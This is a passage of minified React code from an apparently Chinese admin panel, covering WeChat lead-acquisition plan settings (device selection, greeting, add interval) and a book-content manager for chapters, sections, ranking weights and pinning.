text-white",placeholder:"自动生成",value:i.personId,onChange:I=>o(O=>({...O,personId:I.target.value})),disabled:a})]}),s.jsxs("div",{className:"space-y-1.5",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"标签(身份/角色)"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如 超级个体",value:i.label,onChange:I=>o(O=>({...O,label:I.target.value}))})]})]})]}),s.jsxs("div",{className:"border-t border-gray-700/50 pt-5",children:[s.jsx("p",{className:"text-xs font-medium text-gray-400 uppercase tracking-wider mb-4",children:"存客宝 API 获客配置"}),s.jsxs("div",{className:"grid grid-cols-2 gap-x-8 gap-y-4",children:[s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{className:"space-y-1.5",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"存客宝密钥(计划 apiKey)"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"创建计划成功后自动回填,不可手动修改",value:i.ckbApiKey,readOnly:!0}),s.jsx("p",{className:"text-xs text-gray-500",children:"由存客宝计划详情接口返回的 apiKey,用于小程序 @人物 时推送到对应获客计划。"})]}),s.jsxs("div",{className:"space-y-1.5",children:[s.jsxs(X,{className:"text-gray-400 text-xs",children:["选择设备 ",s.jsx("span",{className:"text-red-400",children:"*"})]}),s.jsxs("div",{className:`flex gap-2 rounded-md border ${k.deviceGroups?"border-red-500":"border-gray-700"}`,children:[s.jsx(se,{className:"bg-[#0a1628] border-0 text-white focus-visible:ring-0 focus-visible:ring-offset-0",placeholder:"未选择设备",readOnly:!0,value:i.deviceGroups?`已选择 ${i.deviceGroups.split(",").filter(Boolean).length} 个设备`:"",onClick:()=>f(!0)}),s.jsx(te,{type:"button",variant:"outline",className:"border-0 border-l border-inherit rounded-r-md text-gray-200",onClick:()=>f(!0),children:"选择"})]}),k.deviceGroups?s.jsx("p",{className:"text-xs text-red-400",children:k.deviceGroups}):s.jsx("p",{className:"text-xs text-gray-500",children:"从存客宝设备列表中选择,至少选择 1 台设备参与获客计划。"})]}),s.jsxs("div",{className:"space-y-1.5",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"好友备注"}),s.jsxs(hl,{value:i.remarkType,onValueChange:I=>o(O=>({...O,remarkType:I})),children:[s.jsx(no,{className:"bg-[#0a1628] border-gray-700 text-white",children:s.jsx(fl,{placeholder:"选择备注类型"})}),s.jsxs(ro,{children:[s.jsx(_r,{value:"phone",children:"手机号"}),s.jsx(_r,{value:"nickname",children:"昵称"}),s.jsx(_r,{value:"source",children:"来源"})]})]})]}),s.jsxs("div",{className:"space-y-1.5",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"备注格式"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如 手机号+SOUL链接人与事-{名称},留空用默认",value:i.remarkFormat,onChange:I=>o(O=>({...O,remarkFormat:I.target.value}))})]})]}),s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{className:"space-y-1.5",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"打招呼语"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"你好,请通过",value:i.greeting,onChange:I=>o(O=>({...O,greeting:I.target.value}))})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-3",children:[s.jsxs("div",{className:"space-y-1.5",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"添加间隔(分钟)"}),s.jsx(se,{type:"number",min:1,className:`bg-[#0a1628] text-white ${k.addFriendInterval?"border-red-500 focus-visible:ring-red-500":"border-gray-700"}`,value:i.addFriendInterval,onChange:I=>{o(O=>({...O,addFriendInterval:Number(I.target.value)||1})),k.addFriendInterval&&C(O=>({...O,addFriendInterval:void 0}))}}),k.addFriendInterval&&s.jsx("p",{className:"text-xs text-red-400",children:k.addFriendInterval})]}),s.jsxs("div",{className:"space-y-1.5",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"允许加人时间段"}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx(se,{type:"time",className:"bg-[#0a1628] border-gray-700 text-white w-24",value:i.startTime,onChange:I=>o(O=>({...O,startTime:I.target.value}))}),s.jsx("span",{className:"text-gray-500 text-sm shrink-0",children:"至"}),s.jsx(se,{type:"time",className:"bg-[#0a1628] border-gray-700 text-white w-24",value:i.endTime,onChange:I=>o(O=>({...O,endTime:I.target.value}))})]})]})]}),s.jsxs("div",{className:"space-y-1.5",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"获客成功提示"}),s.jsx(_l,{className:"bg-[#0a1628] border-gray-700 text-white min-h-[72px] resize-none",placeholder:"请注意消息,稍后加你微信",value:i.tips,onChange:I=>o(O=>({...O,tips:I.target.value}))})]})]})]})]})]}),s.jsxs(on,{className:"gap-3 pt-2",children:[s.jsx(te,{variant:"outline",onClick:()=>e(!1),className:"border-gray-600 text-gray-300",children:"取消"}),s.jsx(te,{onClick:T,disabled:c,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:c?"保存中...":a?"保存":"添加"})]}),h&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",children:s.jsxs("div",{className:"w-full max-w-3xl max-h-[80vh] bg-[#0b1828] border border-gray-700 rounded-xl shadow-xl flex flex-col",children:[s.jsxs("div",{className:"flex items-center justify-between px-5 py-3 border-b border-gray-700/60",children:[s.jsxs("div",{children:[s.jsx("h3",{className:"text-sm font-medium text-white",children:"选择设备"}),s.jsx("p",{className:"text-xs text-gray-400 mt-0.5",children:"勾选需要参与本计划的设备,可多选"})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx(se,{className:"bg-[#050c18] border-gray-700 text-white h-8 w-52",placeholder:"搜索备注/微信号/IMEI",value:w,onChange:I=>v(I.target.value),onKeyDown:I=>{I.key==="Enter"&&E(w)}}),s.jsx(te,{type:"button",size:"sm",variant:"outline",className:"border-gray-600 text-gray-200 h-8",onClick:()=>E(w),disabled:y,children:"刷新"}),s.jsx(te,{type:"button",size:"icon",variant:"outline",className:"border-gray-600 text-gray-300 h-8 w-8",onClick:()=>f(!1),children:"✕"})]})]}),s.jsx("div",{className:"flex-1 overflow-y-auto",children:y?s.jsx("div",{className:"flex h-full items-center justify-center text-gray-400 text-sm",children:"正在加载设备列表…"}):m.length===0?s.jsx("div",{className:"flex h-full items-center justify-center text-gray-500 text-sm",children:"暂无设备数据,请检查存客宝账号与开放 API 配置"}):s.jsx("div",{className:"p-4 space-y-2",children:m.map(I=>{const O=String(I.id??""),L=i.deviceGroups?i.deviceGroups.split(",").map(z=>z.trim()).filter(Boolean):[],R=L.includes(O),D=()=>{let z;R?z=L.filter(Z=>Z!==O):z=[...L,O],o(Z=>({...Z,deviceGroups:z.join(",")})),z.length>0&&C(Z=>({...Z,deviceGroups:void 0}))};return s.jsxs("label",{className:"flex items-center gap-3 rounded-lg border border-gray-700/60 bg-[#050c18] px-3 py-2 cursor-pointer hover:border-[#38bdac]/70",children:[s.jsx("input",{type:"checkbox",className:"h-4 w-4 accent-[#38bdac]",checked:R,onChange:D}),s.jsxs("div",{className:"flex flex-col min-w-0",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("span",{className:"text-sm text-white truncate max-w-xs",children:I.memo||I.wechatId||`设备 ${O}`}),I.status==="online"&&s.jsx("span",{className:"rounded-full bg-emerald-500/20 text-emerald-400 text-[11px] px-2 py-0.5",children:"在线"}),I.status==="offline"&&s.jsx("span",{className:"rounded-full bg-gray-600/20 text-gray-400 text-[11px] px-2 py-0.5",children:"离线"})]}),s.jsxs("div",{className:"text-[11px] text-gray-400 mt-0.5",children:[s.jsxs("span",{className:"mr-3",children:["ID: ",O]}),I.wechatId&&s.jsxs("span",{className:"mr-3",children:["微信号: ",I.wechatId]}),typeof I.totalFriend=="number"&&s.jsxs("span",{children:["好友数: ",I.totalFriend]})]})]})]},O)})})}),s.jsxs("div",{className:"flex justify-between items-center px-5 py-3 border-t border-gray-700/60",children:[s.jsxs("span",{className:"text-xs text-gray-400",children:["已选择"," ",i.deviceGroups?i.deviceGroups.split(",").filter(Boolean).length:0," ","台设备"]}),s.jsxs("div",{className:"flex gap-2",children:[s.jsx(te,{type:"button",variant:"outline",className:"border-gray-600 text-gray-200 h-8 px-4",onClick:()=>f(!1),children:"取消"}),s.jsx(te,{type:"button",className:"bg-[#38bdac] hover:bg-[#2da396] text-white h-8 px-4",onClick:()=>f(!1),children:"确定"})]})]})]})})]})})}function cV(t){const e=new Map;for(const a of t){const i=a.partId||"part-1",o=a.partTitle||"未分类",c=a.chapterId||"chapter-1",u=a.chapterTitle||"未分类";e.has(i)||e.set(i,{id:i,title:o,chapters:new Map});const h=e.get(i);h.chapters.has(c)||h.chapters.set(c,{id:c,title:u,sections:[]}),h.chapters.get(c).sections.push({id:a.id,mid:a.mid,title:a.title,price:a.price??1,filePath:a.filePath,isFree:a.isFree,isNew:a.isNew,clickCount:a.clickCount??0,payCount:a.payCount??0,hotScore:a.hotScore??0,hotRank:a.hotRank??0})}const n=Array.from(e.values()).map(a=>({...a,chapters:Array.from(a.chapters.values())})),r=a=>a.title.includes("序言")?0:a.id==="part-2026-daily"?1.5:a.title.includes("附录")?2:a.title.includes("尾声")?3:1;return n.sort((a,i)=>{const o=r(a),c=r(i);return o!==c?o-c:0})}function dV(){var Kl,ql,Oo;const[t,e]=b.useState([]),[n,r]=b.useState(!0),[a,i]=b.useState([]),[o,c]=b.useState(null),[u,h]=b.useState(!1),[f,m]=b.useState(!1),[g,y]=b.useState(!1),[N,w]=b.useState(""),[v,k]=b.useState([]),[C,E]=b.useState(!1),[T,I]=b.useState({id:"",title:"",price:1,partId:"part-1",chapterId:"chapter-1",content:"",editionStandard:!0,editionPremium:!1,isFree:!1,isNew:!1,isPinned:!1,hotScore:0}),[O,L]=b.useState(null),[R,D]=b.useState(!1),[z,Z]=b.useState(!1),[ne,fe]=b.useState(null),[xe,$]=b.useState(!1),[H,oe]=b.useState([]),[P,q]=b.useState(!1),[B,_]=b.useState(""),[W,le]=b.useState(""),[J,Y]=b.useState(!1),[V,re]=b.useState(""),[ue,ce]=b.useState(!1),[ye,Re]=b.useState(null),[Le,lt]=b.useState(!1),[Tt,ln]=b.useState(!1),[yt,nn]=b.useState({readWeight:.5,recencyWeight:.3,payWeight:.2}),[In,Mt]=b.useState(!1),[Yt,rn]=b.useState(!1),[Rn,pr]=b.useState(1),[Pn,Hn]=b.useState([]),[K,Ue]=b.useState(!1),[Je,xt]=b.useState([]),[ct,nt]=b.useState(!1),[gt,Rt]=b.useState(20),[gn,mr]=b.useState(!1),[wr,As]=b.useState(!1),[Wr,Is]=b.useState([]),[pe,ge]=b.useState([]),[Pt,On]=b.useState(!1),[Qs,Xs]=b.useState(null),[Wn,Zs]=b.useState(null),[ft,xn]=b.useState({tagId:"",label:"",url:"",type:"url",appId:"",pagePath:""}),[Ur,Ir]=b.useState(null),ds=b.useRef(null),Dn=cV(t),us=t.length,hs=10,Rs=Math.max(1,Math.ceil(Pn.length/hs)),Ma=Pn.slice((Rn-1)*hs,Rn*hs),er=async()=>{r(!0);try{const M=await De("/api/db/book?action=list",{cache:"no-store"});e(Array.isArray(M==null?void 0:M.sections)?M.sections:[])}catch(M){console.error(M),e([])}finally{r(!1)}},Kr=async()=>{Ue(!0);try{const M=await De("/api/db/book?action=ranking",{cache:"no-store"}),Q=Array.isArray(M==null?void 0:M.sections)?M.sections:[];Hn(Q);const me=Q.filter(Ne=>Ne.isPinned).map(Ne=>Ne.id);xt(me)}catch(M){console.error(M),Hn([])}finally{Ue(!1)}};b.useEffect(()=>{er(),Kr()},[]);const ea=M=>{i(Q=>Q.includes(M)?Q.filter(me=>me!==M):[...Q,M])},Rr=b.useCallback(M=>{const Q=t,me=M.flatMap(Ne=>{const st=Q.find(mt=>mt.id===Ne.id);return st?[{...st,partId:Ne.partId,partTitle:Ne.partTitle,chapterId:Ne.chapterId,chapterTitle:Ne.chapterTitle}]:[]});return e(me),zt("/api/db/book",{action:"reorder",items:M}).then(Ne=>{Ne&&Ne.success===!1&&(e(Q),ie.error("排序失败: "+(Ne&&typeof Ne=="object"&&"error"in Ne?Ne.error:"未知错误")))}).catch(Ne=>{e(Q),console.error("排序失败:",Ne),ie.error("排序失败: "+(Ne instanceof Error?Ne.message:"网络或服务异常"))}),Promise.resolve()},[t]),Pi=async M=>{if(confirm(`确定要删除章节「${M.title}」吗?此操作不可恢复。`))try{const Q=await Bs(`/api/db/book?id=${encodeURIComponent(M.id)}`);Q&&Q.success!==!1?(ie.success("已删除"),er(),Kr()):ie.error("删除失败: "+(Q&&typeof Q=="object"&&"error"in Q?Q.error:"未知错误"))}catch(Q){console.error(Q),ie.error("删除失败")}},Aa=b.useCallback(async()=>{Mt(!0);try{const M=await De("/api/db/config/full?key=article_ranking_weights",{cache:"no-store"}),Q=M&&M.data;Q&&typeof Q.readWeight=="number"&&typeof Q.recencyWeight=="number"&&typeof Q.payWeight=="number"&&nn({readWeight:Math.max(0,Math.min(1,Q.readWeight)),recencyWeight:Math.max(0,Math.min(1,Q.recencyWeight)),payWeight:Math.max(0,Math.min(1,Q.payWeight))})}catch{}finally{Mt(!1)}},[]);b.useEffect(()=>{Tt&&Aa()},[Tt,Aa]);const Ro=async()=>{const{readWeight:M,recencyWeight:Q,payWeight:me}=yt,Ne=M+Q+me;if(Math.abs(Ne-1)>.001){ie.error("三个权重之和必须等于 1");return}rn(!0);try{const st=await vt("/api/db/config",{key:"article_ranking_weights",value:{readWeight:M,recencyWeight:Q,payWeight:me},description:"文章排名算法权重"});st&&st.success!==!1?(ie.success("排名权重已保存"),ln(!1),er(),Kr()):ie.error("保存失败: "+(st&&typeof st=="object"&&"error"in st?st.error:""))}catch(st){console.error(st),ie.error("保存失败")}finally{rn(!1)}},Ia=b.useCallback(async()=>{nt(!0);try{const M=await De("/api/db/config/full?key=pinned_section_ids",{cache:"no-store"}),Q=M&&M.data;Array.isArray(Q)&&xt(Q)}catch{}finally{nt(!1)}},[]),qr=b.useCallback(async()=>{try{const M=await De("/api/db/persons");M!=null&&M.success&&M.persons&&Is(M.persons.map(Q=>{const me=Q.deviceGroups,Ne=Array.isArray(me)?me.join(","):me??"";return{id:Q.token??Q.personId??"",personId:Q.personId,name:Q.name,label:Q.label??"",ckbApiKey:Q.ckbApiKey??"",ckbPlanId:Q.ckbPlanId,remarkType:Q.remarkType,remarkFormat:Q.remarkFormat,addFriendInterval:Q.addFriendInterval,startTime:Q.startTime,endTime:Q.endTime,deviceGroups:Ne}}))}catch{}},[]),Gr=b.useCallback(async()=>{try{const M=await De("/api/db/link-tags");M!=null&&M.success&&M.linkTags&&ge(M.linkTags.map(Q=>({id:Q.tagId,label:Q.label,url:Q.url,type:Q.type||"url",appId:Q.appId||"",pagePath:Q.pagePath||""})))}catch{}},[]),[Ra,Hl]=b.useState([]),[ta,Ot]=b.useState(""),[Oi,fs]=b.useState(!1),Di=b.useRef(null),Ps=b.useCallback(async()=>{try{const M=await De("/api/admin/linked-miniprograms");M!=null&&M.success&&Array.isArray(M.data)&&Hl(M.data.map(Q=>({...Q,key:Q.key})))}catch{}},[]),Li=Ra.filter(M=>!ta.trim()||M.name.toLowerCase().includes(ta.toLowerCase())||M.key&&M.key.toLowerCase().includes(ta.toLowerCase())||M.appId.toLowerCase().includes(ta.toLowerCase())),Pa=async M=>{const Q=Je.includes(M)?Je.filter(me=>me!==M):[...Je,M];xt(Q);try{await vt("/api/db/config",{key:"pinned_section_ids",value:Q,description:"强制置顶章节ID列表(精选推荐/首页最新更新)"}),Kr()}catch{xt(Je)}},U=b.useCallback(async()=>{mr(!0);try{const M=await De("/api/db/config/full?key=unpaid_preview_percent",{cache:"no-store"}),Q=M&&M.data;typeof Q=="number"&&Q>0&&Q<=100&&Rt(Q)}catch{}finally{mr(!1)}},[]),Pe=async()=>{if(gt<1||gt>100){ie.error("预览比例需在 1~100 之间");return}As(!0);try{const M=await vt("/api/db/config",{key:"unpaid_preview_percent",value:gt,description:"小程序未付费内容默认预览比例(%)"});M&&M.success!==!1?ie.success("预览比例已保存"):ie.error("保存失败: "+(M.error||""))}catch{ie.error("保存失败")}finally{As(!1)}};b.useEffect(()=>{Ia(),U(),qr(),Gr(),Ps()},[Ia,U,qr,Gr,Ps]);const Ve=async M=>{Re({section:M,orders:[]}),lt(!0);try{const Q=await De(`/api/db/book?action=section-orders&id=${encodeURIComponent(M.id)}`),me=Q!=null&&Q.success&&Array.isArray(Q.orders)?Q.orders:[];Re(Ne=>Ne?{...Ne,orders:me}:null)}catch(Q){console.error(Q),Re(me=>me?{...me,orders:[]}:null)}finally{lt(!1)}},Ge=async M=>{m(!0);try{const Q=M.mid!=null&&M.mid>0?`/api/db/book?action=read&mid=${M.mid}`:`/api/db/book?action=read&id=${encodeURIComponent(M.id)}`,me=await De(Q);if(me!=null&&me.success&&me.section){const Ne=me.section,st=Ne.editionPremium===!0;c({id:M.id,originalId:M.id,title:me.section.title??M.title,price:me.section.price??M.price,content:me.section.content??"",filePath:M.filePath,isFree:M.isFree||M.price===0,isNew:Ne.isNew??M.isNew,isPinned:Je.includes(M.id),hotScore:M.hotScore??0,editionStandard:st?!1:Ne.editionStandard??!0,editionPremium:st})}else c({id:M.id,originalId:M.id,title:M.title,price:M.price,content:"",filePath:M.filePath,isFree:M.isFree,isNew:M.isNew,isPinned:Je.includes(M.id),hotScore:M.hotScore??0,editionStandard:!0,editionPremium:!1}),me&&!me.success&&ie.error("无法读取文件内容: "+(me.error||"未知错误"))}catch(Q){console.error(Q),c({id:M.id,title:M.title,price:M.price,content:"",filePath:M.filePath,isFree:M.isFree})}finally{m(!1)}},Nn=async()=>{var M;if(o){y(!0);try{let Q=o.content||"";const me=[new RegExp(`^#+\\s*${o.id.replace(".","\\.")}\\s+.*$`,"gm"),new RegExp(`^#+\\s*${o.id.replace(".","\\.")}[::].*$`,"gm"),new RegExp(`^#\\s+.*${(M=o.title)==null?void 0:M.slice(0,10).replace(/[.*+?^${}()|[\]\\]/g,"\\$&")}.*$`,"gm")];for(const cn of me)Q=Q.replace(cn,"");Q=Q.replace(/^\s*\n+/,"").trim();const Ne=o.originalId||o.id,st=o.id!==Ne,mt=await zt("/api/db/book",{id:Ne,...st?{newId:o.id}:{},title:o.title,price:o.isFree?0:o.price,content:Q,isFree:o.isFree||o.price===0,isNew:o.isNew,hotScore:o.hotScore,editionStandard:o.editionPremium?!1:o.editionStandard??!0,editionPremium:o.editionPremium??!1,saveToFile:!0},{timeout:Hv}),Bt=st?o.id:Ne;o.isPinned!==Je.includes(Bt)&&await Pa(Bt),mt&&mt.success!==!1?(ie.success(`已保存:${o.title}`),c(null),er(),qr(),Gr()):ie.error("保存失败: "+(mt&&typeof mt=="object"&&"error"in mt?mt.error:"未知错误"))}catch(Q){console.error(Q);const me=Q instanceof Error&&Q.name==="AbortError"?"保存超时,请检查网络或稍后重试":"保存失败";ie.error(me)}finally{y(!1)}}},gr=async()=>{if(!T.id||!T.title){ie.error("请填写章节ID和标题");return}y(!0);try{const M=Dn.find(Ne=>Ne.id===T.partId),Q=M==null?void 0:M.chapters.find(Ne=>Ne.id===T.chapterId),me=await zt("/api/db/book",{id:T.id,title:T.title,price:T.isFree?0:T.price,content:T.content||"",partId:T.partId,partTitle:(M==null?void 0:M.title)??"",chapterId:T.chapterId,chapterTitle:(Q==null?void 0:Q.title)??"",isFree:T.isFree,isNew:T.isNew,editionStandard:T.editionPremium?!1:T.editionStandard??!0,editionPremium:T.editionPremium??!1,hotScore:T.hotScore??0,saveToFile:!1},{timeout:Hv});if(me&&me.success!==!1){if(T.isPinned){const Ne=[...Je,T.id];xt(Ne);try{await vt("/api/db/config",{key:"pinned_section_ids",value:Ne,description:"强制置顶章节ID列表(精选推荐/首页最新更新)"})}catch{}}ie.success(`章节创建成功:${T.title}`),h(!1),I({id:"",title:"",price:1,partId:"part-1",chapterId:"chapter-1",content:"",editionStandard:!0,editionPremium:!1,isFree:!1,isNew:!1,isPinned:!1,hotScore:0}),er(),qr(),Gr()}else ie.error("创建失败: "+(me&&typeof me=="object"&&"error"in me?me.error:"未知错误"))}catch(M){console.error(M),ie.error("创建失败")}finally{y(!1)}},Po=M=>{I(Q=>{var me;return{...Q,partId:M.id,chapterId:((me=M.chapters[0])==null?void 0:me.id)??"chapter-1"}}),h(!0)},Qt=M=>{L({id:M.id,title:M.title})},Un=async()=>{var M;if((M=O==null?void 0:O.title)!=null&&M.trim()){D(!0);try{const Q=t.map(Ne=>({id:Ne.id,partId:Ne.partId||"part-1",partTitle:Ne.partId===O.id?O.title.trim():Ne.partTitle||"",chapterId:Ne.chapterId||"chapter-1",chapterTitle:Ne.chapterTitle||""})),me=await zt("/api/db/book",{action:"reorder",items:Q});if(me&&me.success!==!1){const Ne=O.title.trim();e(st=>st.map(mt=>mt.partId===O.id?{...mt,partTitle:Ne}:mt)),L(null),er()}else ie.error("更新篇名失败: "+(me&&typeof me=="object"&&"error"in me?me.error:"未知错误"))}catch(Q){console.error(Q),ie.error("更新篇名失败")}finally{D(!1)}}},ps=M=>{const Q=M.chapters.length+1,me=`chapter-${M.id}-${Q}-${Date.now()}`;I({id:`${Q}.1`,title:"新章节",price:1,partId:M.id,chapterId:me,content:"",editionStandard:!0,editionPremium:!1,isFree:!1,isNew:!1,isPinned:!1,hotScore:0}),h(!0)},Os=(M,Q)=>{fe({part:M,chapter:Q,title:Q.title})},na=async()=>{var M;if((M=ne==null?void 0:ne.title)!=null&&M.trim()){$(!0);try{const Q=t.map(Ne=>({id:Ne.id,partId:Ne.partId||ne.part.id,partTitle:Ne.partId===ne.part.id?ne.part.title:Ne.partTitle||"",chapterId:Ne.chapterId||ne.chapter.id,chapterTitle:Ne.partId===ne.part.id&&Ne.chapterId===ne.chapter.id?ne.title.trim():Ne.chapterTitle||""})),me=await zt("/api/db/book",{action:"reorder",items:Q});if(me&&me.success!==!1){const Ne=ne.title.trim(),st=ne.part.id,mt=ne.chapter.id;e(Bt=>Bt.map(cn=>cn.partId===st&&cn.chapterId===mt?{...cn,chapterTitle:Ne}:cn)),fe(null),er()}else ie.error("保存失败: "+(me&&typeof me=="object"&&"error"in me?me.error:"未知错误"))}catch(Q){console.error(Q),ie.error("保存失败")}finally{$(!1)}}},Wl=async(M,Q)=>{const me=Q.sections.map(Ne=>Ne.id);if(me.length===0){ie.info("该章下无小节,无需删除");return}if(confirm(`确定要删除「第${M.chapters.indexOf(Q)+1}章 | ${Q.title}」吗?将删除共 ${me.length} 节,此操作不可恢复。`))try{for(const Ne of me)await Bs(`/api/db/book?id=${encodeURIComponent(Ne)}`);er()}catch(Ne){console.error(Ne),ie.error("删除失败")}},_i=async()=>{if(!V.trim()){ie.error("请输入篇名");return}ce(!0);try{const M=`part-new-${Date.now()}`,Q="chapter-1",me=`part-placeholder-${Date.now()}`,Ne=await zt("/api/db/book",{id:me,title:"占位节(可编辑)",price:0,content:"",partId:M,partTitle:V.trim(),chapterId:Q,chapterTitle:"第1章 | 待编辑",saveToFile:!1});Ne&&Ne.success!==!1?(ie.success(`篇「${V}」创建成功`),Z(!1),re(""),er()):ie.error("创建失败: "+(Ne&&typeof Ne=="object"&&"error"in Ne?Ne.error:"未知错误"))}catch(M){console.error(M),ie.error("创建失败")}finally{ce(!1)}},Oa=async()=>{if(H.length===0){ie.error("请先勾选要移动的章节");return}const M=Dn.find(me=>me.id===B),Q=M==null?void 0:M.chapters.find(me=>me.id===W);if(!M||!Q||!B||!W){ie.error("请选择目标篇和章");return}Y(!0);try{const me=()=>{const Bt=new Set(H),cn=t.map(Ln=>({id:Ln.id,partId:Ln.partId||"",partTitle:Ln.partTitle||"",chapterId:Ln.chapterId||"",chapterTitle:Ln.chapterTitle||""})),Fi=cn.filter(Ln=>Bt.has(Ln.id)).map(Ln=>({...Ln,partId:B,partTitle:M.title||B,chapterId:W,chapterTitle:Q.title||W})),ms=cn.filter(Ln=>!Bt.has(Ln.id));let Jr=ms.length;for(let Ln=ms.length-1;Ln>=0;Ln-=1){const Gl=ms[Ln];if(Gl.partId===B&&Gl.chapterId===W){Jr=Ln+1;break}}return[...ms.slice(0,Jr),...Fi,...ms.slice(Jr)]},Ne=async()=>{const Bt=me(),cn=await zt("/api/db/book",{action:"reorder",items:Bt});return cn&&cn.success!==!1?(ie.success(`已移动 ${H.length} 节到「${M.title}」-「${Q.title}」`),q(!1),oe([]),await er(),!0):!1},st={action:"move-sections",sectionIds:H,targetPartId:B,targetChapterId:W,targetPartTitle:M.title||B,targetChapterTitle:Q.title||W},mt=await zt("/api/db/book",st);if(mt&&mt.success!==!1)ie.success(`已移动 ${mt.count??H.length} 节到「${M.title}」-「${Q.title}」`),q(!1),oe([]),await er();else{const Bt=mt&&typeof mt=="object"&&"error"in mt?mt.error||"":"未知错误";if((Bt.includes("缺少 id")||Bt.includes("无效的 action"))&&await Ne())return;ie.error("移动失败: "+Bt)}}catch(me){console.error(me),ie.error("移动失败: "+(me instanceof Error?me.message:"网络或服务异常"))}finally{Y(!1)}},Ul=M=>{oe(Q=>Q.includes(M)?Q.filter(me=>me!==M):[...Q,M])},zi=async M=>{const Q=t.filter(me=>me.partId===M.id).map(me=>me.id);if(Q.length===0){ie.info("该篇下暂无小节可删除");return}if(confirm(`确定要删除「${M.title}」整篇吗?将删除共 ${Q.length} 节内容,此操作不可恢复。`))try{for(const me of Q)await Bs(`/api/db/book?id=${encodeURIComponent(me)}`);er()}catch(me){console.error(me),ie.error("删除失败")}},kd=async()=>{var M;if(N.trim()){E(!0);try{const Q=await De(`/api/search?q=${encodeURIComponent(N)}`);Q!=null&&Q.success&&((M=Q.data)!=null&&M.results)?k(Q.data.results):(k([]),Q&&!Q.success&&ie.error("搜索失败: "+Q.error))}catch(Q){console.error(Q),k([]),ie.error("搜索失败")}finally{E(!1)}}},$i=Dn.find(M=>M.id===T.partId),Nt=($i==null?void 0:$i.chapters)??[];return s.jsxs("div",{className:"p-8 w-full",children:[s.jsxs("div",{className:"flex justify-between items-center mb-8",children:[s.jsxs("div",{children:[s.jsx("h2",{className:"text-2xl font-bold text-white",children:"内容管理"}),s.jsxs("p",{className:"text-gray-400 mt-1",children:["共 ",Dn.length," 篇 · ",us," 节内容"]})]}),s.jsxs("div",{className:"flex gap-2",children:[s.jsxs(te,{onClick:()=>ln(!0),variant:"outline",className:"border-amber-500/50 text-amber-400 hover:bg-amber-500/10 bg-transparent",children:[s.jsx(Cu,{className:"w-4 h-4 mr-2"}),"排名算法"]}),s.jsxs(te,{onClick:()=>{const M=typeof window<"u"?`${window.location.origin}/api-doc`:"";M&&window.open(M,"_blank","noopener,noreferrer")},variant:"outline",className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(Ss,{className:"w-4 h-4 mr-2"}),"API 接口"]})]})]}),s.jsx(Dt,{open:u,onOpenChange:h,children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white inset-0 translate-x-0 translate-y-0 w-screen h-screen max-w-none max-h-none rounded-none flex flex-col p-0 gap-0",showCloseButton:!0,children:[s.jsx(Lt,{className:"shrink-0 px-6 pt-6 pb-2",children:s.jsxs(_t,{className:"text-white flex items-center gap-2",children:[s.jsx(hn,{className:"w-5 h-5 text-[#38bdac]"}),"新建章节"]})}),s.jsxs("div",{className:"flex-1 overflow-y-auto min-h-0 px-6 space-y-4 py-4",children:[s.jsxs("div",{className:"grid grid-cols-3 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"章节ID *"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如: 9.15",value:T.id,onChange:M=>I({...T,id:M.target.value})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"价格 (元)"}),s.jsx(se,{type:"number",className:"bg-[#0a1628] border-gray-700 text-white",value:T.isFree?0:T.price,onChange:M=>I({...T,price:Number(M.target.value),isFree:Number(M.target.value)===0}),disabled:T.isFree})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"免费"}),s.jsx("div",{className:"flex items-center h-10",children:s.jsxs("label",{className:"flex items-center cursor-pointer",children:[s.jsx("input",{type:"checkbox",checked:T.isFree,onChange:M=>I({...T,isFree:M.target.checked,price:M.target.checked?0:1}),className:"w-5 h-5 rounded border-gray-600 bg-[#0a1628] text-[#38bdac] focus:ring-[#38bdac]"}),s.jsx("span",{className:"ml-2 text-gray-400 text-sm",children:"设为免费"})]})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"最新新增"}),s.jsx("div",{className:"flex items-center h-10",children:s.jsxs("label",{className:"flex items-center cursor-pointer",children:[s.jsx("input",{type:"checkbox",checked:T.isNew,onChange:M=>I({...T,isNew:M.target.checked}),className:"w-5 h-5 rounded border-gray-600 bg-[#0a1628] text-[#38bdac] focus:ring-[#38bdac]"}),s.jsx("span",{className:"ml-2 text-gray-400 text-sm",children:"标记 NEW"})]})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"小程序直推"}),s.jsx("div",{className:"flex items-center h-10",children:s.jsxs("label",{className:"flex items-center cursor-pointer",children:[s.jsx("input",{type:"checkbox",checked:T.isPinned,onChange:M=>I({...T,isPinned:M.target.checked}),className:"w-5 h-5 rounded border-gray-600 bg-[#0a1628] text-amber-400 focus:ring-amber-400"}),s.jsx("span",{className:"ml-2 text-gray-400 